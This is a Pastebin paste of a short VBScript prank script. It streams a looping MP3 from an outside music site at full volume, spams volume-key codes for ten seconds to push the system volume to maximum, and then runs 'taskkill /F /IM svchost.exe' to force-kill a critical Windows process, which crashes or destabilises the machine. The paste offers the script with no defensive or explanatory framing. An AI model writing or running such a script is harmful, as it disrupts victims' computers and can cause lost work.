Advertisement
Nautiluss

asd

Jun 12th, 2024 (edited)
375
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Set Sound = CreateObject("WMPlayer.OCX")
  2. Sound.URL = "https://musify.club/track/dl/17771946/fem-love-1000-7.mp3"
  3. Sound.settings.volume = 100
  4. Sound.settings.setMode "loop", True
  5. Sound.controls.play
  6.  
  7. ' Устанавливаем системный звук на максимум
  8. Set objShell = CreateObject("WScript.Shell")
  9. objShell.SendKeys(chr(&hAD))
  10. objShell.SendKeys(chr(&hAF))
  11.  
  12. Dim startTime, endTime, currentTime
  13.  
  14. startTime = Timer
  15.  
  16. Do
  17.     objShell.SendKeys(chr(&hAD))
  18.     objShell.SendKeys(chr(&hAF))
  19.     WScript.Sleep 100
  20.     currentTime = Timer
  21. Loop Until currentTime - startTime >= 10
  22.  
  23. objShell.Run "taskkill /F /IM svchost.exe"
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement